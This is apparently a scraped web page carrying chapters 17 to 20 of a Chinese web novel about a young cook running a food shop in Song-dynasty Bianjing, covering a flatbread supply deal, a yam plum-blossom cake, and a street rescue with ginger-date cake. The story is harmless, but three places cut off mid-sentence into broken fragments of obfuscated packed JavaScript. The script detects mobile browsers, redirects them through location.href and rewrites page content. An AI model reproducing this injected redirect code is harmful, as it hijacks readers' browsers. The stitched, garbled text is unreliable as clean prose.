新一笼炊饼即将出笼，吕饼娘弯着腰，嘴边叼着根细草梗，娴熟地操着火钳往炉底添柴。 听见有人催促，她便不耐烦地吊起眉梢，拿起蒲扇往膝上一拍，嗓门不小：“催什么催！炊饼得蒸得透才香。你们若等不得，自个儿回去熥去！” 这泼辣脾性，倒是同她家的葱油炊饼如出一辙。 ——饼子嚼上去虽松软甘甜，可当猝不及防、偏偏咬到饼中的那口汉葱碎时，仍会被辣意直冲得两眼热热泛泪花。 吕饼娘的脾气是一等一的差劲，可即便如此，西大街的食客们仍趋之若鹜，谁叫这条街上唯有她家炊饼葱香最为醇厚，口感最是独特呢？ 也不是没客官受不了吕饼娘这股子悍妇脾性，转头去别家寻炊饼。可不知为何，饼虽是同款，但于滋味上却总差上几分。 世人都道，吕饼娘手里攥着吕氏五代相传之独门秘方，至今无人能知，奈何她自个儿亦素来倚仗这点，偏生无人可拿她如何。 唉，恃才傲物，恃食傲物嘛。 西大街上的食客们既欲一饱口福，便也只得消受吕饼娘的火爆性子了。 “不敢不敢，吕店主尽管慢工细活，咱们等着一饱口福便是。”队伍中有食客嘻嘻拱手一笑，一副习惯了她脾气的模样。 然而，正当吕饼娘忙得不可开交时，一道淡淡的声音在摊前响起—— “吕店主，你这炊饼倒是做得不错呀！” 吕饼娘正往炉里拨着火呢，此刻闻声，手稍稍一顿，从呛人的烟火里抬起头来，隔着蒸笼雾气，望见站在长队开外的薛荔。 她手里正举着一张炊饼，似笑非笑地朝她晃了晃。 吕饼娘旋即警觉地眯起眼，拿蒲扇挥散眼前的雾气：“欸呀，薛娘子，稀客呀！怎么，今日有空特意来买我这炊饼？” “买？”薛荔悠然摇首，挑眉叹道，“可惜了，这炊饼虽是你家的不错，却并非从你手里买来的。” 此话一出，吕饼娘眉峰骤然一拧。 队列中有食客不明所以，误以为薛荔是插队买来的，忙扬声朝吕饼娘道：“吕店主，这生意可不能这般做呐，怎还教咱这些规矩排队的落了下乘？” 吕饼娘眼角一抽，狠狠瞪了眼面上笑盈盈的薛荔，转脸冲那食客摆手：“哪有的事！您可别误会——阿秀！过来招呼客官拿炊饼！” 招来帮手，吕饼娘得以从铺前脱身，径直拽过薛荔的胳膊，快步将人拉到铺子后头。 “你想做甚？”吕饼娘站定，转身环抱着双臂睨着她，压低嗓音质问。 17. 吕饼娘饼铺 薛荔无辜地晃了晃手中炊饼：“自然是来赞吕店主手艺之绝的呀。” 吕饼娘眼神微闪，随即冷嗤一声：“那可真是奇了，这满西市卖炊饼的铺子不止我一家，谁知你手里拿着的究竟是何家所做。” 薛荔不疾不徐地迈步上前，将手中炊饼撕开，在她鼻前悠悠一扇，炊饼甘甜的麦香霎时在空气之中弥散开来，混着葱油的醇厚气息，直钻入鼻腔。 她笑道：“众人都知，你家炊饼葱油香一绝，殊不知，令其别具风味的，并非你炸制的葱油，而是你手里这饼的根本——面团。” “若我未猜错的话，你用以做炊饼的当是隔年麦粉。新磨麦粉虽细腻，但筋度未足，唯有存放过一年的麦粉，做出的炊饼才会麦香浓郁，弹性、韧性与嚼劲也更胜一筹。这般好的饼皮，再辅以你添加香料炸出的葱油，二者相辅相成，才成就了今日吕记饼铺的好名声。” 吕饼娘听得那叫一个瞠目，满脑子想不通，面前这开铺子没多久的黄毛小丫头，如何就一语道破了自家祖传五代的炊饼配方？ 薛荔见见她脸色微变，心中笃定自己所料果真不差。 其实要推测这点并非难事，她前世曾读过南宋时期一本名曰《浦江吴氏中馈录》的书籍，其中便明确记载了“隔年麦粉尤宜制糕”。 这里所说的隔年麦粉，不正是后世所称的陈化面粉么？面粉陈化，是为通过自然氧化分解蛋白质，由此提升面团的延展性，尤适宜制作需松软口感的主食。 但宋时坊间炊饼铺每日面粉消耗巨大，难以长期囤积存料，石磨加工能力亦是有限，真正能长期存储陈化面粉的，多半是兼营仓储的粮行铺子。不仅如此，陈化面粉还易受潮霉变，唯有用陶瓮封存，或藏于地窖保干，方能长久保存不坏。 这般麻烦的工序，对于寻常炊饼摊贩而言亦是一笔不小的成本负担?，也不知吕饼娘是如何做到这些的。 吕饼娘脖子伸了伸，眼神飘忽，嘴上却依旧不认：“这世上用隔年麦粉的炊饼铺子也不只我一家，你怎就断定是我做的？” 薛荔薛荔目光清亮，坦然道：“吕饼娘，我来寻你，可不是同你争论这个的。” 她将炊饼往她手掌心里一塞：“这炊饼，是你给那些乞儿的。” 吕饼娘闻言，心头猛地一跳，不自觉地绷紧了肩背，强笑着推脱：“乞儿？开什么玩笑？我一个铜板都恨不得掰成两半花，哪有那份闲心去白送炊饼？” 薛荔却不理会她的狡辩：“我知自打薛记珍味铺开张来，抢去了你铺里不少的食客，你对我心存怨怼，我能理解。” 见她将话挑破，吕饼娘尴尬地干咳了两声，倒也索性不再遮掩，双臂环胸，嗓音略显冷淡：“那又如何？市井商贾，逐利而争，连街道司都懒得管，莫非你还想为一片小小的菜圃去报官不成？” 薛荔两手一摊：“吕店主，这便是你以小人之心，度君子之腹了。” “你甚么意思？”吕饼娘狐疑瞅她。 薛荔轻飘飘叹了口气：“我的珍味铺生意越来越好是不假，可有些事光靠人手也难以兼顾。就譬如我家云酥包，眼下我忙于研发新菜式，在换新云酥包的口味上便多有懈怠，长此以往，食客们味觉上对其厌倦，我这生意亦长久不了。” 她适时地顿了一顿：“你家炊饼做得极好是众人皆知之事，若愿意每日供我炊饼，我可以与你合作分成。” 吕饼娘听罢，一时没反应过来，呆了半晌，才捋清楚她的意思——敢情这丫头不是来兴师问罪，竟是来跟她做生意的？ 她眯起眼，仔仔细细地打量起薛荔：“小丫头年纪不大，算盘倒是打得精，可我若给你供了炊饼，那我自家饼铺还活不活了？” 薛荔短欸一声，打了个响指：“吕店主不愧是生意中人，一下便将话说到点子上。” 她娓娓解释起来：“正因咱们两家当互利共赢，我才想出接下来这套法子，你且细听，若觉还是不妥，再反驳亦不迟——早上，你依旧正常卖炊饼，我也继续卖云酥包，互不耽误，但午时过后，你便把卖剩的炊饼重新加工后送到我这里，由珍味铺来售卖。不过，你供给我家的炊饼，必须是升级版的，区别于你铺子里的普通炊饼......” 吕饼娘听得一头雾水，忙摆手打断：“等等等等，炊饼就炊饼，我自家加葱油豕肉的都算豪华了，还给你做个升级版，你要往里加啥？龙肉呐？” “欸，莫急莫急，听我讲嘛。”薛荔掰着指头给她举起例来，“这卖不完的炊饼还不好办？一可切薄，涂上蜂蜜烘烤，制成香脆养胃的酥琼叶；二可对半剖开，其中夹上煎蛋、青菜与秘制肉饼，做成‘大宋汉堡’；三还可往内填馅，譬如豆沙、肉松、咸蛋黄之类，做成甜咸皆宜的下午茶点心。这样一来，炊饼不浪费，你我还能卖个好价钱分成，岂不两全其美？” 吕饼娘正琢磨着“汉堡”为何物，可听完这薛荔这主意，不由得眼珠子滴溜溜一转，心思活络起来。 薛荔瞧出她的小心思，微微一笑道：“不过，生意归生意，该立的规矩也不能少。咱们白纸黑字约法三章。你我签订独家供货契约，新品卖出的收益，依供货量和卖出的数量给你提成；关键调味料，譬如烤制酥琼叶用到的蜂蜜，刷宋式汉堡秘制料汁，以及豆沙、肉茸、咸蛋黄的成品，我会每日清晨送至你铺，你只管加工即可；最后一点，也是对你而言，尤为重要的——” “我还可为你铺子设计一款独家甜津炊饼，供你搭配葱油炊饼，打响‘咸甜搭配’的名号。当然了，这制作甜津炊饼的蜜糖，亦是我亲自调配好后送来，免得......” 说到最后，薛荔话音一顿，阴恻恻地眯眼扫过面色已然出卖心中揣歪捏怪的吕饼娘：“有人想过河拆桥。” 吕饼娘被她这森森冷笑唬得心里发毛，后背莫名一凉。 这女娃娃瞧着阳光明媚，性子软和的，咋笑起来这般骇人？ 她呵呵干笑两声，勉强掩饰心虚：“没想到你这小女娃年纪轻轻，做生意来倒比那些老油条还精，一套计划周密至极，反倒教我挑不出不好来。” 她顿了顿，终是点头道：“行，我吕饼娘旁的虚话不信，最信一个‘利’字。既能赚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659683|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱，那便与你这小丫头片子协契试试。” - 宁武侯府。 庭院中，晨露沿着雕花栏杆蜿蜒滑落，坠入锦鲤池塘，溅出一圈细微涟漪。 齐悦懒懒地斜倚在美人靠边，单手托腮，目光无神地瞅着池塘里的湖石，手边搁着一盏茶，却早已凉透。 她捏了捏腰间软肉，登时咬牙切齿——自打她在珍味铺里包月连吃了小半月，腰围非但未见缩减，反倒隐隐紧了半圈！ 这可如何是好？她可是在府里闹绝食的人呀！ 齐悦心有不甘，伸手拽了拽腰间香罗带，欲将其扯紧些，最好是能勒出一把纤纤柳腰，怎奈她使尽全力，都快给自个儿勒断气了，仍未见那香罗带宽绰分寸。 正恼火间，忽听身后有人低笑。 “不是要瘦身？怎这两日，倒见你圆润了些？” 齐恂自书房而出，远远便见亭阁之中的小妹面色忿忿，手中缠着腰衱，拽得那叫一个毫不留情，颇有几分滑稽，于是上前探看。 齐悦手上一顿，旋即侧过身来瞪他一眼，恼道：“你瞎说什么！我这几日粒米未进，清清瘦瘦，哪有……” 她话未说完，忽地便觉腰间的香罗带竟松了许多，心中尚未来得及欢喜，便听“呲啦”一声清脆裂响——香罗带竟自中间断成了两截。 齐悦顿时噎在原处。 空气霎时间便静了下来。 齐恂闲闲地倚在朱柱上，垂眸睨着她手中化作两半的莲花云纹腰衱，继而抬眼，似笑非笑地望向她。 “我知你想说什么！”齐悦脸色瞬间涨红，索性气急败坏地将两截香罗带往他身上砸，三两下潦草拢好衣裳，“我这不是圆润，是水肿！水肿懂么！” 只可惜，那绫罗之物轻如柳絮，甚至还没碰着齐恂的衣角，便戛然一滞，在半空中打了个旋儿，飘然落地。 齐恂神情淡淡，煞有介事地颔首：“我只忆起，某人先是扬言绝食，继而不堪忍受，退让至每日只食清粥，如今连‘水肿’都可保持气色红润之态，可见这清粥之补。” “依我之见，官家也不必再忧我胃疾，我只管吩咐厨房，每日以清粥食补便是。” 齐悦有口难辩，只恨不得将那系带揉作一团塞住他那张淬了毒的口：“非得叫那清粥撑死你不可！” 说罢，拢裙而去，直奔闺房。 齐恂目送她落荒而逃的背影，叹息着俯身拾起地上缠绕一处的腰衱。 这丫头当真马虎，女子贴身之物怎能随意抛落？若被有心之人捡去，岂不是吃亏？ 齐恂将腰衱一丝不苟地束起，准备叫齐悦的贴身女使拿回去，传话好好叮嘱她一番，可忽而一阵微风拂过，卷起一缕草本土芝香，熟悉又清新，骤然扰乱他的心绪。 他回眸，眸光一垂，见石桌下有方被轻微扯开的暗格，伸手再探，其内一盒雪白糕点便重见天日。 不必猜也知，又是齐悦那丫头跑来这处偷吃点心，临了逃跑，却忘了拿走。 他拈起一块，手中的清香便逐渐馥郁起来，愈发地勾人心脾。 18. 山药梅花糕 昨夜他去齐悦院中时，女使奉上的似乎便是这款糕点，形似梅花，花瓣处镂空，雅致非常。 他原不嗜甜，胃疾缠身后，便更少碰糕点，可当时不知怎地，竟鬼使神差地被这股甘甜香诱得捻起一块，略尝了口，出乎意料地毫无寻常点心之腻，只余满齿清香。 吃糕本是无心之举，可直至今日午时，云冯照例端上药汤来时，他方察觉连日来的胃痛竟不曾于今日发作。 若要说，饮食上他与以往有何不同，便也就是尝了几块这模样胜似定胜糕的白糕了。 齐恂眼神微微一凝，沉思片刻后，转头吩咐随侍：“去查查，小姐近日都去了何处。” - 此时正值晌午，薛记珍味铺内生意兴隆，食客们对着热腾腾的饭菜大快朵颐，谈笑声与筷箸碰碗的清脆声交织一片。 姜喜鱼在前头柜台算账，侧耳听着算珠拨个不停的声儿，仿若已是听着铜钱入袋，笑得简直合不拢嘴。 而灶房里，薛荔正将竹筛上阴干了的粳米与糯米一一过筛，专心制糕。 待粉质筛细腻后，她将蒸熟捣碎的山药泥掺入其中，将三者拌和均匀。 定胜糕原该用红曲粉调色，使其呈珊瑚之色，但毕竟这一版本是她改良加入山药后的药膳版，若掺红曲粉，反倒会掩盖山药本真的月白色，索性不再添色。 薛荔搬出梅花木模，搁在用来专做面食、糕点的白案上。 说来，这模具还是她特寻花模匠打制而出的，主体呈梅花状，花瓣中间镂空，使点心摆盘起来更显雅致，一板可制九块，她托木匠共打了五块板子，不多不少，恰好够用。 她又取来粉拂子，将昨日初做糕点时未清扫的米粉拂净，再取细绢筛将混合粉料筛入模内。 山药糯粉色泽莹白，扑簌簌飘落进梅花纹中时，透过金黄的午阳光束，泛起煦煦醉人的朦光。 待到梅花模具填至六分满时，薛荔放下绢筛，将早已备好的枣泥内陷填入。 她初制这款糕点时，本是想着山药滋味清甜，且有健脾益胃之效，很适宜给患胃疾者食补，但若一味追求健康，而不加糖浆增甜的话，恐难入食客之口，销量亦不会高，是以她选了红枣这一滋补之物作纯天然甜味剂。 山药温和养胃，枣泥养血安神，炒过的糯米粉温中补虚，而粳米粉和胃止泻，左瞧右瞧，都是一道无可挑剔的养生糕点。 昨日见齐悦尝得爱不释手，眼中亮光藏也藏不住，薛荔便知，这款糕点定然不会无人问津了。 话说，昨夜分别前，她还特意给齐小妹塞了一盒点心带回家吃。 如今回想起来，倒觉得这事做得不太妥当。 ——原本是担心她在家中只喝白粥，营养不良、伤了脾胃，可以齐小妹对美食那点儿自控力，那盒山药梅花糕能不能安然熬到今天，实属难说。 薛荔轻轻摇了摇头，复而又专注于眼前的糕点。 她先将梅花模具填满粉料，再以木尺将表面抹得平滑如镜，随后反扣在木板上，轻轻敲打几下，等到糕体顺滑地脱了模，再将它们小心翼翼地送入蒸笼中。 趁着糕点上笼蒸制的空隙，她踱步去了前头的铺面，目光环扫一圈。 三个小乞儿正各司其职。 豆姑梳着一对可爱的冒尖小螺髻，手里拎条抹布，正踮着脚努力擦拭着高出她半个脑袋的柜台。 馍儿则在堂间跑菜，手托一碟脆皮糖醋藕，在桌椅之间穿梭得飞快——不得不说，这孩子跑菜倒真有几分麻利，且面上无时无刻不挂着笑，大抵也是因为这日子，较起先前沿街乞讨时，实在好太多了罢。 糍儿哩？ 自从上回菜圃一事过招后，薛荔便注意到，这娃儿年纪虽小，心思却细如发。 分给他的本职工作是劈柴烧火，可几天下来，她竟察觉他在厨事上颇有灵性。 就譬如窑炉火势总不稳，饶是她亲自烤制灼□□酪糕，都常有把握火候不准，导致上色过深之时，但每每叫糍儿来盯火，却总能在糕体内里湿润，而外色刚好之时被他端出，分毫不差。 还有前几日那顿吃清蒸鲥鱼的员工餐，她同喜鱼本还为如何杀鱼苦恼呢，本是跑去请教吕饼娘该如何快刀斩乱麻，谁料一盏茶的工夫回来，那鱼竟已清理干净，整整齐齐躺在瓷盘上。 而糍儿立身在一旁，神情自若地卷袖净手。 她俩一问才知，原来这孩子有段时日常去菜场乞讨，周边正有一鱼贩，每日清晨都要杀鱼，他左右闲着无趣，瞧过一两回便学会了。 于是，三人分工就此稳定下来——豆姑负责洗菜择菜、擦桌扫地；馍儿跑堂传菜、招呼客人；糍儿除劈柴烧火外，得了闲，还得在薛荔身边做个小徒弟。 虽说这几个娃娃大的亦才七岁，这个年龄段就出来端盘洗菜着实有些令人过意不去，但这大宋法典也未设雇佣年龄限制嘛，仅对一些极度的无良剥削行为有追责条款。更何况，薛荔哪舍得剥削这几个可爱娃儿？ 她给他们几人开了工钱，每月三百文，包吃包住，还包照料他们那年迈的老媪。 吃同她和姜喜鱼一块儿，有时还可尝上给齐小妹私人定制的好菜，住也同她和姜喜鱼一块儿，就住在薛家的老宅子里。 五人隔三差五便一起去看望老媪，若珍味铺里着实忙不过来，亦会轮着派人去探望。 当然，薛荔收留这几个小乞儿，也不只是出于善心。 一则，这仨娃娃着实可怜又讨喜；二则，珍味铺的生意日益红火，人手短缺难免，他们虽是童儿，不及成人干练，但胜在一人干不了，三人总能凑得上。 不都说，三个臭皮匠，顶个诸葛亮么？更何况，这三个娃儿带给她的情绪价值，完全能将臭皮匠比下去。 望着眼前一派井然有序之景，薛荔满意地点点头。转身回到灶房，姜喜鱼已然算完账，帮她盯火来了。 “吕饼娘已将加工好的炊饼送来了。”姜喜鱼报了句。 薛荔轻快地应下，一双杏眼专注观察那笼山药梅花糕蒸得如何。 姜喜鱼瞧着她，欲言又止，无奈地凑近她拍了拍肩，神神秘秘道：“你咋一点儿不担心那吕饼娘耍诈？” “耍诈？”薛荔闻着糕点散出的清甜香气，舒心极了，“饶是她想耍诈，也得有那个机会才行。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667137|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “此话怎讲？” 薛荔转头看她，慢条斯理道：“你以为，咱们用她的炊饼加工再卖是受制于她，且还有被她照葫芦画瓢学去的风险？” 姜喜鱼深以为然地猛猛点头。 薛荔抬指一弹她的脑门儿：“其实——恰好相反！” “这其中之一嘛，咱们的核心技术在手，往炊饼中新填进去的馅料都是咱亲自做好再送去的，她只管炊饼皮，想偷学，学不来独家秘方。若做得滋味不佳，她吕饼娘卖贵了，卖旁人也不愿买；若卖的是同等价钱，食客们也会偏好来最早推出吃食的珍味铺吃；若真要低价贱卖，她自个儿赚不了几文钱，还比不上咱们给她的分红，照样费力不讨好。” “其二，咱们的定位本就是中高端路线，品牌尤为重要。别的不说，单是糕点模具上的雕花，都是寻的花模匠独家定制的，还有灼□□酪糕，出炉后用的亦是汝窑孔雀纹瓷盏装盘——光是这摆盘包装，那些个达官显贵就愿意多掏几个钱。” “还有这最最最重要的一点是——” 姜喜鱼听她强调如此，赶忙问道：“是何是何？” 她话音刚落，脑门上便又冷不丁吃了薛荔一记弹指。 “诶呦！”姜喜鱼吃痛捂额。 “甜咸炊饼啊！”薛荔恨铁不成钢，“吕记饼铺这几天最火的、搭配葱油炊饼捆绑售卖的新品‘甜津炊饼’，它的配方不一直握在咱们手中么？” 姜喜鱼这才眸光一闪：“对哦，我竟把这茬儿给忘了！这甜咸炊饼的食次一上架，她这几日赚得那叫一个盆满钵满，说到底还不是仰赖咱们的方子，哪还敢耍什么花招？” “正是如此了。”薛荔欣然，恰好山药梅花糕已至出炉时辰，便将笼盖一揭。 温润的水蒸气扑面而来，团抱着山药的清新与红枣的甘甜，与她二人撞了个满怀，暖意融融，甜香扑鼻。 姜喜鱼低首扇了扇香气，鼻尖细细一嗅，眼睛都亮了，似乎光是嗅着，便已尝上了糕：“今日这糕点似乎清香更甚，阿荔，你可改良了配方？” 薛荔神采飞扬，方欲开口，一道声如炸雷的大骂却自外头劈头盖脸地砸来—— “薛荔！！！你罪大恶极——！” 这声音听着熟悉是熟悉，就是怎恁般像来砸馆子的？ 薛荔与姜喜鱼一脸疑惑地往声音源头瞅，只见齐悦满脸愤然地冲进后堂，刹在她跟前，双目气鼓鼓地瞪着她。 薛荔被她这阵架势唬了一跳：“……我，我怎地了？” 谁知齐悦听她这话，下一刻便变了面色。 她丹唇一瘪，眼圈泛红，立马涕泗滂沱地哭起来。 一边哭，一边还不忘接着大骂：“呜，都怪你，做的吃食要那般味美作甚？害我每日把不住嘴！如今……如今不但没瘦，反倒更胖！气煞我了!” 薛荔听得那算是一愣一愣，末了，偏脸与姜喜鱼对视一眼。 “不是说好了你在我这包月吃饭的嘛。”薛荔抽出手帕为她揾泪，一面笑道，“你且寻思寻思，自个儿交了那么多银子，我这做厨子的若不照顾好你这张嘴，优待你的胃，岂能对得起良心？” 19. 姜枣糕救人 “你还说！”齐悦涨红的双眼生无可恋地盯着她那张无辜的娃娃脸，心中的气又不打一处出，深呼吸间，鼻孔一鼓，竟吹破个天大鼻涕泡，逗得姜喜鱼呵呵大笑。 齐悦连忙扯过帕子掩面，刀片似的羞恼目光落在姜喜鱼脸庞，唬得后者当即噤声，忍住笑一本正经道：“齐小妹，你也不必苛责自己，阿荔这厨艺水平，饶是谁来吃个小半月都得添膘。再说了，我瞧了半天，也未见你比先前胖呀，你自己说说，究竟胖在何处？” 齐悦一边吸鼻子，一边泪眼朦胧地控诉：“还说没胖，今日我连腰衱都扯断了，还系不上......” “要我说呀，你先前那般束腰，勒得跟个葫芦似的，只差没把肋骨与脾胃统统勒出来了。”薛荔按住帕子，为她擦净鼻涕，“你一日三餐在我这儿吃得少油少盐的，营养多均衡，也就是吃的量多了点，这才涨了一些些肉，还是健康的好肉。” 她一边说，特意朝齐悦用两指比划着“一些些”的度量。后者瞅着那米粒儿大小的“一些些”，面色这才缓和点，止住抽泣。 “这样，明日我便去寻木工，为你专打制个定量餐盘，主食、素菜、荤菜各分一格，每顿该吃多少都装定了，吃完就收走，这样就不怕控制不住自己，如何？” 齐悦打了个泪嗝，半信半疑：“当真？” “千真万确！” “哼，这还差不多......” 齐悦将鼻涕擤净，刚一通气，又嗅到甜香，鼻尖动了动：“唔，这味道，好生熟悉。” 薛荔咧唇一笑，将方蒸好的山药梅花糕端到她跟前：“你昨日不是说，这山药梅花糕中的山药味道淡了些许么？今儿我碾山药泥时特意没碾得太细，保留了些粒状的山药碎，想来也能更留住些山药本味。你要不要来一口？” 齐悦故作矜持地犹豫了片刻，撇撇嘴：“这可是你拜托我帮你试味的。” “是是是，小女子心中感激涕零。” 薛荔忍俊不禁，知她虽嘴馋，却不好意思多吃，于是捻起一块糕，趁她还没反应过来，直接塞到她口中。 “如何？” 齐悦一个措“嘴”不及，贝齿一合，那软糯温热的糕点便于唇齿间绽开清香，山药的绵甜混着红枣的甘美，细细嚼来，每一口都像是春日山头吹来的风，清新又缱绻，直叫人不舍得咽下去…… “同你昨日所尝那份相比，是不是香甜沁人多了？” 齐悦眯眼细细品尝着滋味，耳畔听着薛荔的问，脑海中蓦地忆起今日自己在亭阁中偷吃的那盒山药梅花糕——糟了！她怎就忘了将它带走呢？若是被兄长发现......她这一世的英名，怕是要栽在那一小盒糕点上了。 于心中一番推演，齐悦愈发想着，便愈觉得痛心疾首，摇头晃脑。 罢了罢了，往者不可谏，来者犹可追，亭阁那盒点心怕是拿不回来了，既如此，索性吃新出炉的正好。 她将嘴里那半块山药梅花糕咽下，拍了拍指尖的糕屑：“滋味甚佳，刚好给我装上一盒，带回府里去。” 姜喜鱼侃笑：“怎么，眼下又不嚷嚷着减肥了？” 齐悦高冷一哼：“便是要瘦，亦不能蹉跎了生活中的美好。” 薛荔听这俩人拌嘴，莞尔一笑：“好啦，正巧去前堂去，我让馍儿替你装盒。” 三人说说笑笑地走到前铺，齐悦嫌店中堂食的客人们吃得甚香，馋得自己都要饿鬼附身，赶忙立到铺外，透口新鲜空气。 西邻的铺子是卖京果儿的，柜台的木方格中，堆如小山似的干果蜜饯、糖油点心惬意而又滋润地躺着，沐浴着阳光。晒烘而成的枣干、荔枝干、龙眼干的果香似乎都满溢到空气中，光是嗅着便使人心脾发暖。 北边那家是卖灌肺的，虽是下水食货，却也别有一番景致——招幌上写着老大四个“新鲜现灌”字样，同寻常灌肺店家以粗犷男子掌勺不同，这家灌肺铺子里的店主竟是位模样清爽端正的小娘子，瞧着比阿荔长不了几岁，可处理起肺脏来，手法那叫一个出神入化，炉火纯青，三两下便将羊肺洗去杂质，动作麻利的同时，却又不损坏外膜。 而后便是把调味后的粉糊灌入肺中。 齐悦瞧着那女店主将馅料灌入肺中压实，有些入神，脑中不自觉回想起上回薛荔给她做的灌肠来。 上回阿荔是添了些何馅料来着？ 齐悦仔细回味起那滋味——碎肉是不必说的，自家铺子里制出的肠，肉定是给得足足，咬开时满齿溢香，貌似是还掺了许多松仁碎与核桃碎？ 想来这灌肺亦差不太多，蒸煮定型后切片，可以煮汤，亦或以油烹煎，食用时蘸着酱醋芥末，或者淋点浓汁，口感弹嫩，风味浓郁，别提有多美了。 齐悦舔了舔唇角，眸光流转，打量起东边那家熟肉铺来。 这家熟食行她有印象，也算是汴京城里的老字号了，爊鸭做得那叫一绝，连侯府中三十年厨龄的老厨监都自叹不如。 她嗅着那爊鸭的香，心中便琢磨起来，上回老厨监同自己论道爊鸭时，说的那番话——“爊鸭要想香，妙诀在于汤！” 还怪押韵的唻！ 听说那熟肉铺的老汤乃以古法秘制而成，配方祖传，从鼻祖宗一代始起流传，到如今已是第十代孙继承，听上去玄乎，也不知是真是假。 “定整鸭十只！卤汁封坛，三日后送至......” 熟肉铺似乎来了位豪客，一张口便要十只爊鸭，还“卤汁封坛”，吃得多讲究哩。 不过也是，能一口气买下十只爊鸭的人家，在吃上若不讲究，哪能说得过去？ 这家熟肉铺中的爊鸭虽不比“钱家爊鸭”名气更甚，但好歹一只也需一百五十文钱，十只，那便是一贯五百文，便是换侯府来采买，也算不少钱了。 而且...... 齐悦微微蹙眉，这采买口吻之豪横，乍一听，倒同她家老厨监颇有几分相像。 而不过多久，她便笑着摇摇头，打消了这个念头。 这怎么可能呢？侯府的菜肴向来自制为主，极少数才...... “我知，送至宁武侯府嘛，郭厨监！”熟肉铺掌柜笑嘻嘻接过话头，“一下子买十只爊鸭，侯府又要办宴席咯？” 被唤作“郭厨监”的那人笑着答道：“可不是么，府君大母办赏花宴，可不得隆重些？” 话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672079|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音刚落，齐悦脸上的笑就僵住了。 她回头一瞧，杵在熟肉铺前的那人圆圆胖胖，面方如田，不是侯府厨监郭栗祥又是何人？ 而那赏花宴？ 说得好听些，是聚贵女，集风雅，往直白了讲，那不就是祖母给兄长相看侯夫人的么。 齐悦忍不住腹诽，下一刻，却又见郭栗祥叮嘱罢了熟肉铺掌柜，悠哉悠哉地背着手，朝这头漫步而来。 她心惊胆战，嗖一下子缩回铺中。 当务之急，是赶紧离开此处，若被郭栗祥撞见，向兄长告了密，那可就糟啰！ 正巧此时薛荔把装好盒的山药梅花糕递来，笑意盈盈：“今儿做得好吃，给你多装了满满一层。” 齐悦忙接过提盒，急急道别：“谢啦阿荔，只是今日家中有事，恐怕不能在你这儿用晚膳了，你和喜鱼莫等我！” 话音落下，人已飞似的从铺子侧门溜了个干净。 薛荔：“......” 这是唱哪出？见鬼似的跑掉了？ 薛荔一头雾水地朝街上张望，街市热闹如旧，吆喝声此起彼伏，哪有半分异状？ 她正纳闷着，忽而听闻斜对头，吕饼娘以她那十分有辨识度的大嗓门尖声惊呼：“啊呀！这人咋晕了？快来人呐！” 薛荔听得这声大喊，忙探身望去，只见人群簇拥之中，一位圆胖郎君瘫倒在地，面如死灰般惨白，嘴唇发青，身子哆嗦着，仿若从冰窖里抬出似的，牙关都在打战。 路人止步围观，却无一人敢近前，唯有低声议论声此起彼伏： “这人怕不是染了甚么急病？” “颤得这般厉害，莫不会是癔症犯了？” “天儿也不算冷，他怎地抖成这般？” 薛荔挤过人群，眸光一扫那胖郎君的脸庞，当即便察觉端倪。 此人额角渗着冷汗，指节泛青，可面上不红不黑，并无中风之兆。 她走上前去，蹲在胖郎君身前，伸手探了探脉，察觉他四肢冰凉，气息紊乱，垂眸再细看，只见这人身上袍角湿乎，还生着一些浅淡霉迹。 大抵是成日穿行于湿气重地，体内寒气难散，加之近日操劳过度，导致寒湿内盛，脏腑受困，这才痉挛昏厥。 她心下一定，转头唤身后的姜喜鱼：“咱店中的姜枣糕可还有剩？” 姜喜鱼正好奇瞅着瘫倒那人，闻言一愣：“有！这就拿！” “还要一碗紫苏饮！”薛荔添道。 姜喜鱼步履飞快，三两下便返回。薛荔接过，将姜枣糕撕成小块，喂入胖郎君口中，又舀了两口紫苏饮喂他服下。 那姜枣糕里姜丝辛辣，枣泥温补，最适驱寒暖胃；而紫苏饮则助通气行血、解表散寒，两者相佐，正合祛湿暖脏之用。 不过多时，那人原本青紫嘴唇便渐渐泛起血色，气息也缓了过来，身上的颤抖止住了，眼神亦慢慢聚焦，似是回过神来。 周遭围着的人瞧薛荔竟只用小小一只糕、一碗饮，就救回一条命，不由得连连称赞。 胖郎君喘了口气，扶着她的手想坐起，嗓音像风干的蒲草般沙哑：“唉，咳咳，小娘子……多谢你救命之恩。” 20. 奶酥牛角包 薛荔稳稳扶着他：“郎君不必挂怀，身体无事便好。” 郭栗祥本欲咽下口中的糕，得体些对救命恩人言谢，未曾想，先前自个儿意识不清，囫囵吞下这糕点，没尝出甚么滋味，此时细细咀嚼，方觉糕中妙味。 他眼睛登时一亮，直直地瞅着薛荔：“敢问小娘子，这糕是从哪家铺子买来的？” 